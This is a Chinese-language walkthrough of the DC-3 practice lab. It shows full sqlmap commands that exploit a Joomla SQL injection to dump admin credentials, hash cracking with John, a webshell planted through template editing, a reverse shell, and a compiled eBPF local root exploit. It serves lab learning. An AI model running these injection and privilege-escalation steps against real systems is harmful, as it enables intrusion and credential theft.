vulhub靶场 DC-3 复现学习及细节解析
字数 1193 2025-08-18 11:36:53

DC-3 靶场复现学习及提权详细教程

环境搭建

工具准备

  • 攻击机:Kali Linux (IP: 192.168.200.14)
  • 靶机:DC-3 (初始IP未知)

网络配置

  • 攻击机和靶机需使用相同网络连接模式
  • 推荐使用NAT模式(也可使用桥接模式)
  • 可通过查看靶机MAC地址确认目标主机

信息收集阶段

1. 扫描存活主机

三种方法扫描同网段存活主机并识别靶机:

arp-scan -l
nmap -sP 192.168.200.0/24 -T4
natdiscover

2. 端口扫描

扫描目标IP开放端口:

nmap -sV -p- 192.168.200.8

参数说明:

  • -sV:扫描端口上运行的软件信息
  • -p-:扫描全部端口(0-65535)

结果分析:仅开放80端口

3. 目录扫描

使用dirsearch工具扫描后台目录:

dirsearch -u http://192.168.200.8/

发现重要目录:/administrator(后台管理入口)

4. 指纹识别

  • 访问网站识别为Joomla CMS
  • 使用joomscan扫描:
joomscan -u http://192.168.200.8/

安装joomscan:

sudo apt-get install joomscan

漏洞利用阶段

1. SQL注入获取管理员凭证

使用SQLmap进行注入攻击:

  1. 列出数据库:
sqlmap -u "http://192.168.200.8/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs -p list[fullordering]
  1. 列出joomladb数据库中的表:
sqlmap -u "http://192.168.200.8/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D "joomladb" --tables -p list[fullordering]

发现#_users

  1. 列出users表字段:
sqlmap -u "http://192.168.200.8/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D "joomladb" -T "#__users" --columns -p list[fullordering]
  1. 爆出用户数据:
sqlmap -u "http://192.168.200.8/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --dbms mysql -D joomladb -T '#__users' -C id,name,password,username --dump

获取到哈希值:$2y$10$DpfpYjADpejngxNh9GnmCeyIHCWpL97CVRnGeZsVJwR0kWFlfB1Zu

  1. 使用John破解哈希:
echo '$2y$10$DpfpYjADpejngxNh9GnmCeyIHCWpL97CVRnGeZsVJwR0kWFlfB1Zu' > admin.txt
john admin.txt

破解结果:用户名为admin,密码为snoopy

2. 登录后台并上传Webshell

  1. 使用获取的凭证登录Joomla后台(/administrator)
  2. 通过模板编辑功能上传Webshell:
    • /templates/beez3/目录下创建test.php文件
    • 写入一句话木马
  3. 使用蚁剑连接Webshell

3. 反弹Shell

  1. /templates/beez3/目录上传反弹shell文件(shell.php)
  2. 执行反弹shell获取交互式终端

提权阶段

1. 查找系统漏洞

使用searchsploit查找Ubuntu 16.04提权漏洞:

searchsploit ubuntu 16.04

发现"拒绝服务漏洞"可用于提权(39772.txt)

2. 下载并编译EXP

  1. 下载EXP(在靶机中操作):
wget [EXP下载链接]
unzip 39772.zip
cd 39772
tar -xvf exploit.tar
cd ebpf_mapfd_doubleput_exploit
  1. 编译EXP:
./compile.sh

3. 执行提权

运行提权程序:

./doubleput

等待片刻后获取root权限

关键点总结

  1. 信息收集:通过MAC地址识别靶机、全面扫描端口和目录
  2. 漏洞识别:利用Joomla已知漏洞进行SQL注入
  3. 凭证获取:通过SQLmap提取并破解哈希
  4. 权限维持:利用后台模板编辑功能上传Webshell
  5. 提权路径:识别系统版本并利用合适的本地提权漏洞
  6. EXP使用:正确下载、编译和执行提权程序

注意事项

  1. 网络配置必须一致(NAT或桥接)
  2. SQLmap参数要完整(特别是risk和level)
  3. 上传Webshell时注意路径可访问性
  4. 提权EXP需要在靶机上下载和编译
  5. 整个过程可能需要多次尝试,特别是破解哈希和提权阶段
DC-3 靶场复现学习及提权详细教程 环境搭建 工具准备 攻击机:Kali Linux (IP: 192.168.200.14) 靶机:DC-3 (初始IP未知) 网络配置 攻击机和靶机需使用相同网络连接模式 推荐使用NAT模式(也可使用桥接模式) 可通过查看靶机MAC地址确认目标主机 信息收集阶段 1. 扫描存活主机 三种方法扫描同网段存活主机并识别靶机: 2. 端口扫描 扫描目标IP开放端口: 参数说明: -sV :扫描端口上运行的软件信息 -p- :扫描全部端口(0-65535) 结果分析:仅开放80端口 3. 目录扫描 使用dirsearch工具扫描后台目录: 发现重要目录: /administrator (后台管理入口) 4. 指纹识别 访问网站识别为Joomla CMS 使用joomscan扫描: 安装joomscan: 漏洞利用阶段 1. SQL注入获取管理员凭证 使用SQLmap进行注入攻击: 列出数据库: 列出joomladb数据库中的表: 发现 #_users 表 列出users表字段: 爆出用户数据: 获取到哈希值: $2y$10$DpfpYjADpejngxNh9GnmCeyIHCWpL97CVRnGeZsVJwR0kWFlfB1Zu 使用John破解哈希: 破解结果:用户名为 admin ,密码为 snoopy 2. 登录后台并上传Webshell 使用获取的凭证登录Joomla后台( /administrator ) 通过模板编辑功能上传Webshell: 在 /templates/beez3/ 目录下创建test.php文件 写入一句话木马 使用蚁剑连接Webshell 3. 反弹Shell 在 /templates/beez3/ 目录上传反弹shell文件(shell.php) 执行反弹shell获取交互式终端 提权阶段 1. 查找系统漏洞 使用searchsploit查找Ubuntu 16.04提权漏洞: 发现"拒绝服务漏洞"可用于提权(39772.txt) 2. 下载并编译EXP 下载EXP(在靶机中操作): 编译EXP: 3. 执行提权 运行提权程序: 等待片刻后获取root权限 关键点总结 信息收集 :通过MAC地址识别靶机、全面扫描端口和目录 漏洞识别 :利用Joomla已知漏洞进行SQL注入 凭证获取 :通过SQLmap提取并破解哈希 权限维持 :利用后台模板编辑功能上传Webshell 提权路径 :识别系统版本并利用合适的本地提权漏洞 EXP使用 :正确下载、编译和执行提权程序 注意事项 网络配置必须一致(NAT或桥接) SQLmap参数要完整(特别是risk和level) 上传Webshell时注意路径可访问性 提权EXP需要在靶机上下载和编译 整个过程可能需要多次尝试,特别是破解哈希和提权阶段